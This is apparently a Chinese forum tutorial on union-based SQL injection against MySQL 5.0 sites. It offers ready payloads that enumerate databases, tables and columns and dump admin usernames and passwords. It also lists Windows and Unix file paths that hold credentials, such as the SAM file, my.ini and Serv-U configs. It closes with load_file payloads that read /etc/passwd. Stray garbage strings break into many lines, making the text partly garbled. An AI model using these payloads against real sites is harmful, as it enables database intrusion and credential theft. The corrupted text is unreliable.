mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
) M7 K8 @+ t: ~3 ~" c' r
) M# l+ t4 a+ ?: Q% [
; T/ X- s3 u  n# Q! T0 W% `
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
, {/ p6 c( {! x2 `( E|SCHEMATA ->存储数据库名的表
. l: T% D3 k5 A, _! y|—字段：SCHEMA_NAME ->数据库名称
2 p5 M6 Z+ n: ^' v4 Q% m3 V9 H
/ D6 e, e. e" c& ~& `- ]) {$ ^8 [|TABLES ->存储表名
# n* y2 k; q$ e6 z# T|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
5 R5 `- x# w1 o% R8 W" O2 A1 l|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
##

1 z. ]4 [) H9 n3 C0×001 获取系统信息:

union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
  r+ d$ C0 U7 o8 n(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
! z1 P$ N, ]: ]5 U
3 Y$ \6 R. K, r/*

@@global.version_compile_os 获取系统版本
5 f* y+ J  W; ^; ^
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值
; d! Y' b0 S* s5 c3 g  m; w& L
*/
  g0 j- g! x5 _9 H
  R' o' V! A6 D2 Z  p: D######################################################################

  H; i9 X% ^6 _, h/ m" z0×002 获取表名

5 r1 k7 d* d' i8 p- G- qunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

/*

! _7 b/ r" R/ [+ V* F. q4 T4 o0x67617264656e 为当前数据库名

/ y/ A& Y+ `# R. o& Ngroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 T( u9 k9 J+ t. |0 y
- C( G; E4 `  E( J*/

######################################################################
8 g8 I* J/ p$ `1 [: y( I
+ B' l9 j- L8 Y: [3 P% L* y2 E0×003 获取字段
/ r3 r/ E/ r/ M% y0 q/ q0 G
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
) w# x0 t/ L) zinformation_schema.columns where table_name=0x61646d696e and
1 [+ F& i" ~5 Q! s, m. ]; o
# d1 @, l% Q* B% w8 g! _
- a, ^6 M$ I& Y9 V1 S* |table_schema=0x67617264656e limit 1 /*
/ a. U+ w2 {4 v8 i
8 W+ J9 f  S6 L" f2 ^/*
8 q* n: b, r" w4 L, r) }1 i
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

" F% P7 W; n) u/ L& y7 r; y0x67617264656e ->数据库名

% s! Z! J0 J! X# f& f9 O*/
2 d% v, L  b+ m, q7 Q
' `6 L" {; h! z  I7 n#####################################################################

0×004 获取数据
# w0 l5 M$ [, E1 t/ ^; j9 E
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 t4 h1 h: _: H7 h
  h& A5 O* ^) Q% tunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

/*
5 p& |2 T' y1 p3 D- ]8 M& x
0x3c62723e 换行符号HEX编码
4 o, l/ N+ t" o0 H& M
group_concat 同时获得该字段所有数据

$ b& }/ s) J/ j& ?- R*/


0 P) w6 x  B/ ]% v3 {3 K" i; c  U

2 ]# g- k0 J3 e" g
顺便添加一些mysql注入时非常有用的一些东西
' o: ]1 H2 |1 a( M4 T
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
. ^5 R* d$ a7 w/ Y
1:system_user() 系统用户名
' C  u& H6 H$ f3 f2:user()        用户名
) U$ W$ v' }3 v7 m; n3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
' k/ ]2 U/ `8 i) H6:version()     MYSQL数据库版本
' h3 C1 T! Y+ A1 Q: L9 K8 C9 p7:load_file()   MYSQL读取本地文件的函数
4 l3 c: l9 S- G8 L$ d. g8@datadir     读取数据库路径
2 J2 V: J3 }. O+ U% a9@basedir    MYSQL 安装路径
  F+ C& J* C% R* y# _10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
6 G' m$ Z, p8 W" p4 o4 F. SWINDOWS下:
c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
! |1 V, }  P: b( C$ b8 H; R1 z: _c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
/ z: a1 `/ _3 J1 X. p6 \% @c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
' F7 H5 G5 }6 a4 E0 Kc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
3 f' D* K) E& B4 C% ]1 Lc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
6 c+ O3 [; P, p- `c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
+ m! Q+ g8 C1 Z3 E  _4 h8 E) w1 oc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
' a2 D7 |3 A4 y0 C//存储了pcAnywhere的登陆密码
, E2 X4 F) a5 ?( ]( R, jc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
! y+ D0 m. L& J$ J3 ?c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


$ O" A3 T, [& {% ic:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
5 v+ g# D! u8 E# w9 tc:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

5 K$ p3 e- H/ E" X8 f! HLUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2 L% j$ k6 K  A6 P/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
* ~  j8 v9 ^: D/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
3 w+ f: u- [+ I! o( m" g; w6 C; T/etc/my.cnf //mysql的配置文件
& k* @) |9 c4 ^+ U/etc/redhat-release //系统版本
/etc/issue
( R, F7 a4 i9 P+ L9 C/ X/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
! i6 L: `# X" S- A# O/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
' _  n* y3 u4 e$ x6 A5 b/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
1 J3 j5 y; m1 x) A* t& o# \/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 J2 D& X( j! S7 z( Y/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.